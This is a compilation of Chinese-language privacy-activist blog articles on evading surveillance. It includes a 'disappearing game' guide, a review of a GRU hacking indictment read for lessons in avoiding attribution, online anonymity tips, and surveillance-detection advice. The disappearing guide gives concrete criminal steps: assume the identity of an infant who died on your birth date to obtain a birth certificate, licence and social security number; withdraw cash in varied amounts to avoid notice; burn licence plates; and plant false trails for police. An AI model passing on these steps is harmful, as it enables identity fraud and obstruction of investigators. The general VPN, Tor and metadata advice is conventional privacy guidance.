“一整面墙上布满了显示器。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会变成等着你的手铐”

「图」

「图」

说到消失你最先想到的是什么？躲债、犯罪、黑社会追杀……不不，我们想说的是，随时隐藏自己是每个人的权利，不管你为了好玩还是真的有重要需求。然而在当下这个监视时代，这项权利正在被剥夺。很多人之所以不重视隐私只是因为他们并不了解自己被抢走了哪些权利。

曾经一家大牌媒体在线上支付刚刚兴起的时候做了个测试，“如何在一天之内不使用现金而保持生活正常”。这个当初很热门的测试及相关报道实际上是非常可笑的，因为它的动机严重错误—— 人们需要知道的并不是没有现金对生活造成了哪些不便，而应该是，自己的隐私权被剥夺的事实。希望该媒体只是傻，而不是在故意偷换主题。

说实话，最近十年以来你都很难做到完全消失了，今后只会越来越难。基本上，你是否能消失取决于想找到你的人的技术能力，如果你得罪的是地痞流氓街头混混，甩开他们似乎相对容易一些（要是意大利黑手党的话就算了）如果你得罪的人是当权者，想躲起来恐怕要费点力气了。

不过我建议你试试，建议更多人都来试试，至少能让自己明白这个时代有多可怕，以及我们为什么要坚决抵制大数据监视社会。

想加入这个游戏吗？你需要了解以下几个步骤：

首先，要知道，真的做到消失是需要一段时间的，也就是说你无法立即做到这点。需要慢慢摆脱你的旧生活，这意味着随着时间的推移越来越少地接触朋友和家人。这一过程意味着逐渐让所有熟悉你的人淡忘你，直到没有人会忽然想起你以至于想要联系你。

这段时间内你可能需要撒谎，为了完成伟大的实验，尽可能克服一下吧。要知道，之后的日子都要通过撒谎来维系，你必须习惯它。

第二，你使用 **Visa**，**PayPal** 和 **Venmo** 的日子已经结束了。你现在是一个只会用现金的人，你需要把所有的钱都从银行里拿出来，做到无银行账户。

这是一个需要缓慢进行的过程，以免引起注意。每次提取的钱不要很多，也不要数额相同，造成一个印象，即这是个自然的过程，你是消费者，而不是转款。否则很快会有人推测你的动机。（如果你是个富人，请放弃这个游戏吧，要么放弃你的资产）

完成之后你要把现金藏在地下室里，通往地下室的路径上确保没有任何摄像头，确保没有任何人知道你的计划。

第三，抛弃一切社交媒体账户。记住是一切。删除这些帐户并不会真正抹去你的信息，所有社交媒体都拥有可以让当局获得你的历史信息的数据库。但是，尽可能地将自己从信息网格中分离出来，肯定是一种明智的选择。

Facebook 不是唯一收集个人信息的窥视者。如果 Google 是推动互联网发展的引擎，那么个人信息就是让它的石油。通过它的地图应用程序，它知道你去过哪里，你怎么到达那里的（步行，汽车，公共汽车，火车）停留多久以及是否第一次访问。该公司将您的搜索历史记录存储在你登录过的每台设备上，而算法会在您的电子邮件中搜索任何关于你的细节和动态迹象。

本月早些时候宣布的 Google Lens 是一款可视搜索引擎，可通过手机相机提供有关您正在查看的内容的信息。 Google 可能会知道你的年龄，性别，爱好，职业，兴趣，关系状态，你看过的每一个 YouTub 视频，你搜索过的每一张图片，你是否感到沮丧，以及为什么，它是数字万神殿中唯一无所不知的神。

他们使用数据库和目录来寻找目标人，大数据是社交工程学的基础。

今后的文章中我们会详细介绍这些诈骗和追踪的方法。

先扔掉它们，彻底的扔掉，才能继续我们的游戏。

这一过程依旧需要慢慢进行。如果你曾经发布信息很频繁，并且拥有的关注者比较多、互动频繁，那么这个过程对于你来说应该更慢，至少尽可能做到不要让任何人注意到你的动作。

第四，辞职或请长假。这个过程同样需要时间，直到没有人会质疑你的缺席。需要做到让你的雇主和同事深深相信你真的需要很长一段时间的假期。

第五，收集所有关于你的证件，每个学校的学生证、身份证、驾驶执照、出生证、社保卡和银行对账单。收集所有将你的名字身份和照片放在一起的东西。

然后用你的方式处理它们。准则是从此之后不让任何人有机会获取到它们。不管是深埋还是一把火烧掉，注意一定要做的彻底。不要让任何人觉察到这一过程，否则会引起他们的兴趣，更加关注你或者更努力地去寻找你。

第五，销毁你的手机。这是绝对必须的，现在你是逃难者，不是社交爱好者，手机对你来说并没什么用。如果你实在想要的话可以用现金买个一次性手机，并且在必要的时候毫不犹豫地扔掉它。

第六，甩掉你的车。很少有东西比一个人的汽车更容易追踪和辨认了。卖掉它，记住只收现金，或者烧掉车牌扔在偏远的地方。

用现金买一辆二手车。这辆车不应该华丽或独特，色泽应该中性大众，使用过几年的那种，有些划痕和凹痕。记住，你得把它变得无聊才能可靠。

最糟糕的事莫过于在逃离的过程中车子没电了。所以你需要一个后备电源 pocket jumper，它应该小巧，便于携带，功能强大。

强调：上述所有步骤实施中都要躲避一切摄像头和空中无人机监视。

细节方法和要点

一、查找在你出生的当天死亡的婴儿，联系政府申请出生证。这样做不会引起特别的注意，要知道很多人都会丢失自己的出生证。然后用这些资料获取驾照、社保号以及其他个人证件。

当然众所周知的最佳方案是伪造死亡，在获得另一个合法身份的同时，要让掌握你的身份信息的政府认为你的真的死了。但当下是电子监视史无前例的高峰，对我们的游戏来说形成的威胁相当大。要知道，"生物识别信息"是无法更改的，这可不止包括你的脸，还有虹膜、指纹、**DNA**、声音、步态。假死的难度非常之高。除非你有幸生活在一个偏远落后的地方。

二、改变外观。把你平时最喜欢的经常穿着的衣服都扔掉，去一家便宜的服装店，买几件你永远不会选择的衣服。染头发，但千万不要选择疯狂的颜色，要看起来是个普通人，只是不像原来的你。再次提醒，整个过程用现金，并且去你从未光顾过的店铺。

练习一些小动作，遮盖你平时使用的标志性习惯动作，练习吃你平时不怎么吃的东西，要知道你妈妈了解你的习惯和生活方式，其他所有人都能了解，只是他们没告诉你。但他们会告诉想追踪你的人。

人们已经开始寻找你了，要做到尽可能让他人很难认出你来。你需要让自己变得陌生。但不要让自己变得特殊，你需要融入陌生的人群才能更好地掩饰自己的身份。

记住你必须正常，无聊，平庸，尽量不要带有特征，一套普普通通的能自圆其说的简历。那些路边的石子一直都存在着，但没人注意到它们，于是它们就仿佛不存在一样。这就是你应该追求的目标。

三、交通工具。步行和自行车是最佳选项，记住不要使用共享单车！这可以让你不容易被追踪，原则是不需要使用许可证或身份证件。

公共交通工具基本都有摄像头，并且大多需要身份证件才能搭乘，所以最好不要用，除非你已经离家非常非常远了。在任何情况下不要搭乘出租车或搭便车，最好保证交通工具内只有你一个人。

四、了解你的敌人。你想躲什么人很重要，你需要掌握那些最渴望追踪你的人的思考方式，他们会怎么想，会最先猜到什么，然后避免自己选择这些元素。

必须说不幸的是，如果你的敌人是政府部门的话，他们很可能比你自己更加了解你。

八年前，电影制作人 David Bond 拍了一部片子（Erasing David），尝试了我们这个游戏中所描述的过程—— 摆脱当今监控社会的天罗地网。那可是八年前哦，八年后的今天这一切的难度已经增加了几十

倍不止。

在那部片子结束后，追踪者将 David Bond 带到了他们的监控室——一整面墙上布满了显示器，上面都是他的信息。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会变成等着你的手铐。

我们会在今后的文章中更多介绍你是如何被深度了解的，或者说你的信息是如何被利用的。本文的目标是消失游戏，好吧，总之你应该找到一些不可预知的地方。不一定是让你不舒服和不喜欢的地方，只是一个你以前从未与任何人说过的地方。记住是任何人。

五、搞点虚假线索。在你开始旅程之前可以搞点假动作，比如用银行卡买几张你根本不会去的地方的旅行手册、使用互联网查询你根本不会去的地方的机票（不需要买，只要你使用搜索引擎就够了，一切都会被记录在案）、使用轻松自然的方式和那些最容易被警方问询的身边人聊起一些你根本不会去的地方。等等，我觉得你应该知道该怎么做。

最佳选择是两个极端：繁忙的大都市或者极其偏远的地区。你可以消失在人流中，或者自然的空虚之中。不过需要多一句话，后者也许不如前者，因为有些偏远地方比较封闭，人们互相之间非常熟悉，并且对外来的陌生人保持着警惕，你的“外来户”身份很快会传遍整个地区，这是危险因素。而大城市的人们之间陌生程度非常高，大部分情况下谁都不会注意到谁。

六、创建一个历史角色。消失不止是要脱离旧的轨道。如果你想长时间消失而不被发现，这意味着你的旧有性格，你的习惯，喜恶、爱好和想法都要改变。

你必须学会自然地回答以下所有这些问题：你来自哪里？ 你之前做了什么？ 你家人在哪里？ 你喜欢什么样的食物？ 你最喜欢的饮料是什么？ 你最喜欢的作者是哪位？ 你最喜欢的音乐家是谁？ 喜欢的明星是哪款？

最基本的是要做到：重新创造一切。

当然，结交新朋友最终是必要的。无论你到哪里，邻居和当地人都会成为你生活的一部分，和他们交朋友没有错，只是要确保在你的假定

身份下做到这点。

让人们了解到同一版本的关于你的伪装身份是很必要的，尤其是当警方开始问询的时候。所以，不要害怕遇见别人，只需要警惕不要被揭示你的真实身份。

七、要随时保持警惕。千万不要在一段时间的安全之后就让自己陷入旧习惯！习惯很难更改，但现在你的目标是保命，是命重要还是难度重要？时刻注意自己，避免任何旧的习惯重新回到你身上。

八、不要冲动。不要在任何时候使用任何联系方式试图和家人及旧朋友报平安，他们不再是你生活的一部分。任何形式的联系都将是你被发现和被毁灭的导火线。

九、继续旅行。相比在一个地方停留，我们建议你继续旅行，尤其是那些欠发达的国家和地区，改名字并不那么难。变成一个平庸的背包客。再次：尽可能躲开摄像头。

重申强调关键细节：用现金在你极少光顾的商店购买新的笔记本电脑和手机、使用无法追踪的短信服务、不要使用公共电子邮件服务器、旅途中不要住店、不要叫车、不要乘坐任何要求身份识别证件才能搭乘的交通工具……尤其是不要使用互联网。

结语：这只是一个游戏，或者说一个挑战。我们希望人们能体会到监视社会强大的追缉能力、对私人空间史无前例的侵犯。永远消失是基本不可能的，如果你能保持三个月内完全隐身，你就可以写一本书记录这个神奇的过程。我保证，它一定是非常棒的出版物。〇

原文

VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？ - iyouport

反侦查-在现实中反侦查反侦查-在现实中反监视自我保护措施-技术技巧以防身

【2018年7月27日存档】本文不关心俄罗斯和美国大选，只关注反追踪技术问题，因为其中很多美国政府拥有的能力，中国政府也有

负责调查俄罗斯干预美国大选的穆勒在上周五发布了一份起诉书，虽然起诉书只描述了美国政府的单方面指控，但其中透露了一些很有趣的技术方面的细节，看起来是合理的。我们觉得有必要简单介绍一下。

这份起诉书提示了一些操作方面的人为疏忽—— 当您为了一个正义的目标采取行动时，很有必要注意以下这些问题。声明：本文与俄罗斯攻击者完全没有任何关系，我们反对任何恶意的行为。

基础设施的划分

根据起诉书，俄罗斯人采取了匿名措施，试图在租用服务器、注册互联网域名以及设置电子邮件、Twitter 账户和其他用途帐户时抹去身份。但他们没有尽最大努力划分基础设施。

John Podesta，Clinton 的竞选主席和其他人收到的钓鱼电子邮件包含了 URL 缩短服务 Bitly 的链接。创建这些链接的 Bitly 帐户是使用电子邮件地址“dirbinsaabol@mail.com”注册的。

攻击者使用了相同的电子邮件地址在租用服务器的提供商处创建帐户，使用“在线加密货币”付款服务“（根据起诉书中引用的一些提示的措辞，推测认为有问题的服务可能是 **BitPay**）。这个加密货币帐户用于支付注册域名 dcleaks.com ，这意味着任何在钓鱼活动背后的人也购买了域名 dcleaks.com，并租用了这台服务器。

加入一个小的说明，关于 VPN 如何工作：VPN 可用于隐藏您的

Internet 协议或 IP 地址。当您连接到网站（例如 twitter.com）时，该网站会获知您使用的 VPN 的互联网地址，而不是您的真实地址。

起诉书指出，有人使用了“相同的比特币资金池”来支付马来西亚的 **VPN** 服务，以及马来西亚服务器来托管 **dcleaks.com** 网站。几个月后，有人使用同一个马来西亚 **VPN** 帐户登录了 **@ Guccifer_2 Twitter**。这证实了**dcleaks.com** 背后的人也可以访问 **@ Guccifer_2 Twitter** 账户。

请注意这点，**VPN** 导致的问题—— 从购买支付到使用。

租错了基础设施

根据起诉书，GRU 攻击者首先接管了 DCCC 网络，然后是 DNC 网络，使用了钓鱼电子邮件，欺骗收件人在恶意网站上输入密码。

起诉书称，他们随后使用受害者的凭证访问 DCCC 的内部网络，并在“至少十台 DCCC 计算机”上安装了名为 X-Agent 的自定义恶意软件。

此后不久转向 DNC 的网络。注意：据称攻击者在其中一台计算机上“激活了 **X-Agent** 的键盘记录和屏幕截图功能，以窃取有权访问 DNC 网络的 DCCC 员工的凭据。”凭借 DNC 登录凭据，他们能够“访问”三十三台 DNC 的计算机。“一旦进入 DNC 网络，他们就会破坏 DNC 的 Microsoft Exchange Server。

在有人攻击计算机并安装间谍软件后，攻击者会向间谍软件发送命令以将数据发送回给他们。这通常通过连接到被称为命令和控制（C2）服务器的计算机来完成。

根据起诉书，攻击者租用的作为 X-Agent 的 C2 服务器的计算机位于亚利桑那州。据称他们使用 X-Agent 感染了 DCCC 网络中的计算机后登录到这个 C2 服务器，以便向特定的计算机发出命令，记录击键并截取屏幕截图。

起诉书甚至指明了在这个 **C2** 服务器上收集的数据到底是什么时候。例如，它说 4 月 14 日，攻击者对 DCCC 员工的计算机进行了8个小时的监控，在此期间他们捕获了“与同事的通信以及在筹款和投票推广项目时所输入的密码。”

6月15日，CrowdStrike 发布了一篇博客文章，细节很少，只宣布了对 DNC 网络攻击的存在，并将攻击归因于 GRU 组织的 Cozy Bear 和

Fancy Bear。

根据起诉书，在 CrowdStrike 的博客文章发布五天后，俄罗斯人据称从他们的 C2 服务器中删除了所有“活动日志”，包括他们的登录历史记录。

但是，事实上美国政府可以访问 C2 服务器收集的击键和屏幕截图，甚至知道 GRU 代理在什么时间点从服务器删除活动日志和登录历史记录，足见，托管服务提供商很可能开始配合调查，包括可能共享了连接到 **C2** 服务器的硬盘快照。这将允许调查人员访问此信息。

请注意：托管服务商的问题。在选择基础设施之前需要尽可能打探服务商和政府的关系，已推测即将发生的事。

延伸阅读：世界上销售的所有服务器中有五分之一已经被亚马逊、谷歌和微软等美国科技集团收购。

除了租用亚利桑那州的服务器外，攻击者据称还在伊利诺伊州租用了一个单独的服务器，他们使用了一个名为 X-Tunnel 的单独恶意软件，将数十亿字节的文件从 DCCC 和 DNC 网络上传到伊利诺伊州的服务器“，通过加密渠道。政府调查人员有可能是从他们租用此服务器的托管服务提供商那里获得的信息。

强迫公司交出数据

请注意：与**2016** 年网络攻击相关的技术细节表明，美国政府具有一些令人印象深刻的能力。但他们似乎使用的主要能力不是技术性的，而是：传票。美国政府可以强迫公司交出数据。中国政府也能做到的，众所周知。

美国政府几乎肯定会收到来自 Bitly，Twitter，Facebook，谷歌，WordPress 以及其他几家公司的数据，包括 **BitPay** 或其他加密货币支付处理器，**VPN** 提供商，**VPS** 托管提供商以及域名注册商等——中国当局能摸到哪些公司，请心里有数。（Twitter 和 WordPress 拒绝发表评论。BitPay 说，“BitPay 已收到美国政府机构的传票，但信息的使用方式或请求的原因不会公开。”Facebook 和谷歌对评论请求置之不理）

美国政府可访问公司与特定帐户相关的所有信息，例如攻击者用于登录服务的 IP 地址、活动时间戳、发送的电子邮件、直接消息的副本，以及附加到攻击中使用的服务器的硬盘驱动器的潜在映像，可以

绘制非常详细的图片。

政府或其合作伙伴有可能入侵了目标人的计算机

这份文件中一个有意思的细节是，多次提到了其中一名被告正在互联网上进行研究的情况，以及在什么时间发生的动作：

- “在 2016 年3月28日左右，YERMAKOV 在各种社交媒体网站上研究了受害者1和2的名字以及他们与克林顿的关系”；
- “例如，从 2016 年3月15日左右开始，YERMAKOV 对 DNC 的互联网协议配置进行了技术查询，以鉴定连接的设备”，“几乎同一天，YERMAKOV 搜索了有关 DNC 网络的开源信息；
- ”2016 年4月7日左右，YERMAKOV 对 DCCC 的互联网协议配置进行了技术查询，以鉴定连接的设备“；
- “在此期间，YERMAKOV 研究了与访问和管理 Microsoft Exchange Server 相关的 PowerShell 命令”；
- “在 2016 年5月31日左右，YERMAKOV 搜索了有关公司1 [CrowdStrike] 及其关于 X-Agent 和 X-Tunnel 的报告的开源信息”……

调查人员怎么能获得这些信息的？想到了两种解释。最有可能的是，国家安全局—— 或荷兰情报机构 AIVD 等外国合作伙伴向美国当局提供了与 2016 年选举有关的骇客信息—— 泄露了 Yermakov 的计算机，并定期记录了他的击键，或访问了他的浏览器历史。

另一种解释是，Yermakov 在登录帐户时使用 Google 进行的这些搜索，调查人员从 Google 了解了他的搜索历史。不过后者不那么令人信服，因为搜索引擎 Yandex 在俄罗斯更受欢迎，而 GRU 官员真的会蠢到使用加州的谷歌吗？

另一名被告，Anatoly Kovalev，一名被分配到不同 GRU 网络单位的官员，仅被提及与美国选举基础设施的攻击有关，而没有说是针对民主党人。但有一个信息非常突出，文件说：

- “在 2016 年 8 月左右，联邦调查局发布了关于 SBOE 1 [州选举委员会1，可能是伊利诺伊州] 的骇客行为的警报，并确定了用于进行骇客行为的一些基础设施。作为回应，KOVALEV 删除了他的搜索历史。KOVALEV 和他的同谋也删除了针对州选举委员会和类似选举相关实体的行动中使用的账户记录。“

美国调查人员怎么会知道 Kovalev 删除了他的搜索历史，甚至是属于

多个在线帐户的记录？推测认为最有可能的情况是 NSA 破坏了他的计算机，访问了他的浏览器历史记录，并且可能记录了他的击键，并使用他们自己的 C2 服务器从他的计算机上截取屏幕截图。

美国政府非常擅长跟踪比特币交易？

起诉书指责俄罗斯人“通过一系列交易网络洗了相当于 95,000 美元以上的交易，这些交易的结构是为了利用比特币等加密货币的匿名性。”

请注意，比特币交易远非匿名哦，而是永久存储在一个公共分类账本中，称为区块链，可供互联网上的任何人查看。持有比特币的账户称为“钱包”，但与传统银行账户不同，比特币钱包只是一个数字—它们不包括所有者的身份或名称。因此，如果您能够匿名获取比特币，正如据称俄罗斯被告试图做的那样，您可以将其用于任何事，而不会将交易与您联系起来。

但是，起诉书的事实证明，这比看起来要困难得多。

挖币涉及投入大量的计算机能力来反复解决随机数的数学问题，直到你有幸得到正确的答案，这时你的比特币钱包里就有钱了。根据起诉书，俄罗斯人据称开采了他们自己的比特币区块。起诉书还指控俄罗斯人使用其他方法匿名获取比特币，包括“通过点对点交换购买比特币，通过其他数字货币转移资金，以及使用预付卡。”后一种方法是指从实体零售商店使用现金购买预付礼品卡、借记卡或其他类似的卡，然后在互联网上匿名转售它们，以换取比特币。

匿名使用比特币的一个复杂因素是支付处理器。虽然对于比特币交易来说不是必需的，但许多接受比特币作为支付类型的网站使用 BitPay 或 Coinbase 等公司来帮助他们处理它。

请注意：这些支付处理器通常将买方的电子邮件地址和 **IP** 地址附加到交易中。

支付处理器、以及为不同的交易重复使用相同的电子邮件地址，这些线索帮助了美国调查人员跟踪这笔钱。也可以通过查看比特币交易中购买的东西来追踪。

例如，起诉书指：攻击者使用他们刚开采的比特币从罗马尼亚域名注册商处购买了 dcleaks.com，并且一家美国的支付处理公司参与了交易。因为比特币区块被用来购买 **dcleaks.com**，所以该区块肯定是由

GRU 官员控制的，并且来自同一区块的任何其他交易也必须也来自 **GRU**。

请注意这里的思路，关于如何推测身份—— 域名注册商、加密货币支付处理商，甚至只是接收这两家公司的通知和收据的电子邮件帐户，都可以暴露身份信息。

再次说明，本文不关心俄罗斯和美国大选，只关注反追踪技术问题，因为其中很多美国政府的能力，中国政府也有。〇

原文

反侦察：除技术之外你还应该注意诸多重要的细节问题 - iYouPort

反侦查-在现实中反侦查反侦查-在现实中反监视自我保护措施-技术技巧以防身

充分加密不是能保持你匿名的所有关键

「图」

「图」

互联网上的人们犯的最大错误有可能不是选择通讯渠道和技术应用，而是由于对技术的误解和没能充分学习使用方法，造成的隐私保护失败。

本文旨在为您提供有关如何在互联网监控领域保持私密性的提示列表。前边是技术问题，后边的人问题，都是同等重要的。

1a 部分：技术安全 — 网络

基于您所在的地区和威胁模式，可能存在多种类型的监控。重要的是要了解被收集的内容，以及如何针对性地反转监控方法以保护自己。

互联网服务提供商（**ISP**）和/或互联网交换机（**IX**）的大规模监控 — 这是直接在您的 **ISP** 或附近的点进行的全面数据捕获。这通常是面向政府最感兴趣的人的、有针对性的全面监视。持不同政见者、有能力揭露政权黑幕的新闻记者、人权律师、外交官和其他许多人，在世界各地都会受到这种有针对性的监视。没有任何政权不害怕真相，

延伸阅读："//政府部门在 ISP 层面植入监视//"，让人们误以为自己下载或更新的软件来自正版官方

这意味着压迫性政权正在收集他们可以从您的流量中获得的一切，并且意味着对于未加密的网站或使用混合内容的网站，政府可以看到您何时在线、访问了哪些网站、在该网站上花了多长时间，以及任何不

安全的连接（http）。

（混合内容在以下情况下出现：初始 HTML 内容通过安全的 HTTPS 连接加载，但其他资源 例如，图像、视频、样式表、脚本，则通过不安全的 HTTP 连接加载。之所以称为混合内容，是因为同时加载了 HTTP 和 HTTPS 内容以显示同一个页面，且通过 HTTPS 加载的初始请求是安全的。现代浏览器会针对此类型的内容显示警告，以向用户表明此页面包含不安全的资源）

如果您是政府感兴趣的目标，所有加密的流量也可能被存储起来了，当前已有或等待未来将有相关技术可以破解加密。

有针对性的大规模网络监控对策

使用 Trusted VPN ＋ Tor — 以增加多层加密和多跳网络，这可以使得大规模监视变得非常复杂。一个好的 **VPN** 也会改变 DNS 以防止简单收集您的 Web 请求，如果您访问 https 网站，它会在一个隧道中嵌套三种类型的加密，可以给试图破解的对手增加一个重大挑战。

您已经通过 ISP 和最近的 IX 对 VPN、Tor 和 HTTPS 加密进行了分层，于是只能在 VPN 出口和 Tor 网络之间或 Tor 网络出口和 HTTPS 服务器之间进行收集。无论是哪种方式，它都提供了重要的复杂的障碍，在任何合理的时间内都不可能被绕过。

延伸阅读："//我如何找到可靠的 VPN//"？选择的原则是什么？***Tor*** 下载即可用，但是有很多注意事项，"//在这里找到最重要的九个关键注意事项//"；

防止 **DNS** 泄漏 **—** 这是一个至关重要的步骤，因为通过 VPN 或 Tor 可以为您提供安全保护的机制是您的流量隐藏在数百个与您相同的其他用户之间。

域名系统（DNS）是关联网址和 IP 地址的系统。当你使用浏览器访问一 个网站，它会向 DNS 服务器发送你输入的地址请求，然后 DNS 服务器会指出其正确的IP地址。这是互联网如何工作的一个关键部分。通常情况下，DNS 服务器是由你的 ISP 所提供，这意味着他们可以监控、记录任何你发送到服务器的请求。当您使用 VPN 的时候，该 DNS 请求应该通过你的 VPN 被定向到一个匿名的 DNS 服务器防止 ISP 监视你的连接。

不幸的是，有时你的浏览器会忽视你打开的 VPN，并会直接发送

DNS 请求到您的 ISP。这就是所谓的 **DNS** 泄漏。这会导致你认为自己已经匿名了，但事实上并没有。

这里是用于检查 DNS 泄漏的工具。

防止 IPv6 泄漏 — 同时解决 IPv6 连接和 IPv4 连接存在的技术问题。对此最简单的对策是完全禁用 IPv6 以防止响应 IPv6 请求。许多优秀的 VPN 都在其客户端内置了防漏保护。

这里是用于检查 IPv6 泄漏的工具。

1b 部分：技术安全 — 浏览

使用强化的浏览器 — 不要相信任何浏览器的默认设置，以保护您免受骚扰。注意：私密浏览和隐身模式根本无法保护您免受监视！Tor 浏览器是最好的选择，也基本是领先的选择。

监控和反监控战斗处在一个不断变化的环境中，在这方面保持领先对于维护您的隐私至关重要。

1c 部分：了解元数据

同样重要的是要了解即使在 VPN 和/或 Tor 上，仍然有一些关于你的信息会留下数字阴影。您的 ISP 将查看您正在使用的带宽，他们将在您何时开启和离线、以及转移大量数据时看到这些动作。请注意：这些信息完全可用于构建您的个人资料。

1d 部分：关于移动设备的特别说明

移动设备存在特殊问题，应用程序权限、WiFi 和位置数据是关键。对于可以访问各种关键组件的应用程序以及对安全更新缺乏忠诚态度的电话供应商而言，也存在不小的安全问题。对移动设备要特别小心，并剥离所有不必要的应用程序，以尽量减少受攻击面。

延伸阅读："//您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 🔐//"

1e 部分：关于操作系统的特别说明

请注意，所有操作系统都会给您的隐私带来挑战，这种挑战相比下更加危险。iOS 和 Android 在应用权限问题、元数据收集、多个网络接口、GPS、睡眠/唤醒问题、以及 VPN 客户端通常必须与糟糕的设计

环境“对抗”所导致更多问题方面相对严重。

Windows 内置了广泛的遥测功能，你需要大量的工作才能最大限度地减少它。而其中一些是完全不能被禁用的，Microsoft 根本没有公开哪些进程收集什么类型的数据，所以真心建议不要使用微软系统，尤其是在斯诺登曝光的文件中你能看到，微软是和当权者的监控要求配合最默契的公司之一。

OSX 的封闭程度太高；Linux 在开源世界中获得了大部分开发资源。Linux 有数百个发行版，不同的环境都有各自不同程度的问题。

2a 部分 — 操作安全性 — 登录

登录到任何站点或服务的主要问题是数据的关联。攻击者可以将您的在线时间、您访问的服务与其他活动相关联。随着时间的推移，足够大的收集将建立足够的相关性，足以识别你。

如果你被针对了，对手是有足够耐心做这种事的。所以，你需要一些伪装，不断更换自己的登录特征，应该对自己的偏好有所察觉，并调整它们。

2b 部分 — 操作安全 — 图像和媒体

这里主要关注的是元数据。使用错误的图像类型（JPG）可能会包含大量的 **EXIF** 数据，其中包括日期和 **GPS** 位置数据。PNG 文件通常不包含元数据。

您需要做的是，确保您使用的任何媒体在将其上传到任何位置之前都需要删除所有元数据，保持这一原则！

「图」

「图」

2c 部分 — 操作安全性 — 与时间相关的事件

主要关注点是，避免为对手提供足够多的信息，这些信息将能够帮助对手显著缩小搜索范围。

请注意你在互联网上说的每一句话，比如描述外面的天气是什么样的（“哎呀下雨啦”，这种），或者你的时区是什么时候（“都三点了我还没睡着”，这种），或者提到你所处位置的街上发生的枪击事件、大

型车祸或暴力事件等等，都是很重要的数据，完全可以用来缩小搜索你的范围。

我们经常说，很多人不知道自己把什么东西放在网上了，就包括以上这些细节。请记住，试图监视你的人会全天候盯着所有他们能看到的东西，收集一切，深度分析。尤其在使用 **Tor** 的时候，本部分警告的细节是非常关键的！

2d 部分 — 操作安全 — 不要谈论自己！

这些细节也非常重要。尤其是在私密聊天中，如果你不是百分百把握对方的可靠性的话，尽可能避免谈论自己是非常重要的。我们发现很多人甚至在数百数千人的群组中描述自己，这非常危险，如果其中任何一个人不具备充分的安全性，你就暴露了。与你选择的通讯软件的加密能力毫无关系。

我们把这点放在最后因为它非常容易被忽略，甚至是有意地放弃。因为人们太希望和他人形成亲密了，至少希望自己看起来“可信”，但不要忘记，您现在是在互联网上，您与交流对象之间很可能正隔着政府当局的间谍眼。曾经不少朋友对我的性别感兴趣，究竟是男还是女，但我不需要回答这样的问题，因为它并不在我们讨论的主题范围内。希望你也意识到这一重要性。

请牢记：不要谈论有关你自己的任何细节。不要谈论你的身高，体重，性别，头发颜色，纹身，性取向，疤痕，穿孔，医疗条件或过敏史……等等，明白了？

零。个人。信息。

2e 部分 — 操作安全 — 言语和方言

保持您的写作尽可能无区域特征，这也非常重要，这里也包括阶层特征，比如“晚餐”这个词，英国工人阶级会说“tea”，中产阶级会说“dinner”，上流社会则说“supper”，你习惯于使用哪一个，将足够定位你的阶层状况。这只是诸多简单例子中的一个。

请勿使用您的语言特有的标志，比如黑人口语和白人口语的区别，英式语音和美式在细节上的区别；请勿使用您所在地区独有的单词和短语，比如中文中的诸多方言转换为汉字的写法，非常容易判断您所在的地区。

请记住：您的语言对特定区域的本地化程度越高，您的隐私就越窄。

另外我们还需要提醒一些习惯输入细节问题。我们发现一些朋友为了保密自己的身份，在截图私人文档的时候抹去了发布者的名字时间等细节，这很好，但是帖子中的输入细节完全暴露了创作者的身份。比如省略号、惊叹号、& 等，这类通常不常用的标点符号和字符的使用，句号及转行的使用，还有主语的使用，“的地得”的使用等等，如果你仔细观察就能知道，很多人在上述细节中具有充分的特征。那就是能定位你的东西。〇

原文

如何检测您是否正在受到监视？—— 监视检测和特殊保护行动 - iyouport

反侦查-在现实中反侦查反侦查-在现实中反监视

【2018年9月6日存档】中国人可以有丰富的经验，听说有些时候聚会吃顿饭都有便衣跟踪？但你不一定就有能力发现跟踪者，因为这是个技术活儿，具有较高的专业性。

本文将介绍一些技术，以检测是否有人正在对您进行监视。在我们开始之前，我想明确指出，我在这方面的知识和经验来自私营部门，而不是来自任何秘密的政府机构工作。我们将要讨论的原则和技术是可以全面有效的，尤其是在应付警务外包方面。

但有一点需要提醒，对于政府监控，您需要在对政权最有可能采取的措施做出较为充分的预测的基础上，针对性选择我们提供的方法。如何预测？如果您一直在关注本博客就能明白应该怎么做。除了 Google＋ 的新闻版块之外，我们的博客所提供的基本都是工具，包括一些看起来像评论的文章，事实上都是。就如中国人喜欢的俗语：知己知彼方百战不殆。只要您有心，就肯定明白这些工具的真正用途。

并不是说新闻版块不重要哦，它将提供最新的局势及其有效分析，对我们的工具选择来说是很有用的。

我将在这里介绍的技术已经经过测试并可以成功应用于现实生活中。在全球大部分地区都适用。因为这类监视活动的执行者会接受专门的培训，而这些培训大同小异，其不同之处仅在于结合当地地理形势等细微方面。

好了，让我们开始。

你应该注意哪里？

简短的回答是，这取决于您的位置，以及您是静态的还是移动的。下面我们分头说。

静态监视：

如果你是静止的，那么对你的监视很可能也是静态的。

让我们来看看有可能找到你的两个最可能的静态位置—你的家和你的工作场所。这些非常重要，因为如果你已经被作为特定目标了，那么可以推测，监视者能够定期甚至经常地在这两个地方找到你。

为了弄清楚监视的位置，你要做的就是让自己置身于一个潜在的监视者的角度，并试图弄清楚你的位置，以隐蔽地观察前门或通往你住所的车道，以及工作场所的主要入口或停车场入口。记得那句话吗？——像骇客一样思考。

不要只是理论化，你应该实际尝试在现场的感觉。有没有方便的咖啡馆、繁忙的十字路口、公共汽车站或火车站、公园或城市长椅等可以让您在很长一段时间内获得良好的位置和足够的掩护？如果是，那些可能是您想要缩小注意力的位置，而不是试图覆盖整个区域。

您还需要注意停放在可能为监视者提供良好视野的地方的车辆（如果该区域没有如上所述的任何良好的有利位置，这一点就尤其重要）。如果存在这样的有利位置，并被流浪汉或者移动摊点所占据，那么监视者很有可能伪装为流浪汉或摊主，也就是说，第一步应该重点关注的是位置而不是看起来是否可疑的人。

一个训练有素的监视者要做的第一件事就是，把自己的真实身份融入周边环境中。还记得我们在《用“眼”识人》中介绍过的观察法吗？在这里它反着用：如果你不希望被人发现或关注，那么你就应该表现得与周边和谐一致，在多方面的细节上。

